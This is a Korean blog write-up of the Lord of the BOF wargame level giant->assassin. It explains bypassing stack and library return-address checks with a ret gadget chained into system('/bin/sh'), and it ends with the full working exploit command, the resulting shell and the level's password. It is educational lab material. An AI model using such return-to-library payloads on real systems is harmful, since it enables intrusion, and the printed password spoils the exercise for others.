-->

[LOB] level15, giant->assassin 풀이

LOB, giant -> assassin 문제 확인

이번엔 힌트에도 주어져 있듯이, 리턴 부분에 스택주소 영역과 라이브러리주소 영역이 전부 막혔기 때문에 RTL을 사용하지 못한다. 이럴땐 리턴 가젯을 사용하면 된다.

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf') // 스택영역 막힘
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40') // 라이브러리영역 막힘
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

 

 

LOB, giant -> assassin 풀이

RTL Chaining이란 아래 포스팅에서 자세히 설명한 적이 있다. 

 


RTL(Return to Library) Chaining 이란?

 

RTL(Return to Library) Chaining 이란?

역시 정리하지 않으면 잊어버리는 것이 사람인 것 같다. 나만 그럴수도... ROP 개념을 정리하는 와중에 먼저 RTL Chaning 부터 제대로 정리하자는 생각이 들어 여기에 정리한다. RTL(Return to Library) 이란 일단..

liveyourit.tistory.com

 

 

ret은 <pop eip; jmp eip>를 수행하는 명령어로 현재 esp가 가리키고 있는 곳의 값을 eip에 넣은 후 eip로 점프한다. 그리고 중요한 것은, pop을 하기 때문에 esp가 +4가 된다. 

 

따라서 아래와 같이 페이로드를 구성할 수 있는데 아래와 같이 페이로드를 구성하게 되면, 코드가 끝나 RET - 1 에 왔을 때 ret gadget의 위치로 점프하게 되고 그때 리턴주소로 저장되어있던 RET - 2의 system()의 주소로 인해 system함수가 실행되게 된다. 그리고 그때의 esp+4에 /bin/sh 문자열이 저장되어 있기 때문에 system("/bin/sh")가 실행되게 된다. 이해가 가지 않는다면 위 포스팅을 확인해 꼭 개념을 익히기 바란다.

 

buffer (40)
RET - 1
&(ret gadget)
RET - 2
&system()
system() ret
dummy
system() argv
&"/bin/sh"

 

 

 

먼저 system 함수의 주소를 구한다.

 

 

 

/bin/sh 주소는 아래와 같이 구할 수 있다.

 

 

 

그리고 제일 중요한 ret 가젯은 아래와 같이 objdump를 사용해 구한다.

 

 

 

LOB, giant -> assassin 익스플로잇

따라서  < A*44 + &(reg gadget) + &system() + BBBB + &"/bin/sh" > 로 페이로드를 구성할 수 있다.

 


[giant@localhost giant]$ ./assassin `python -c 'print "A"*44+"\x35\x84\x04\x08"+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?BBBB
bash$ id    
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away

 

 

댓글

Designed by JB FACTORY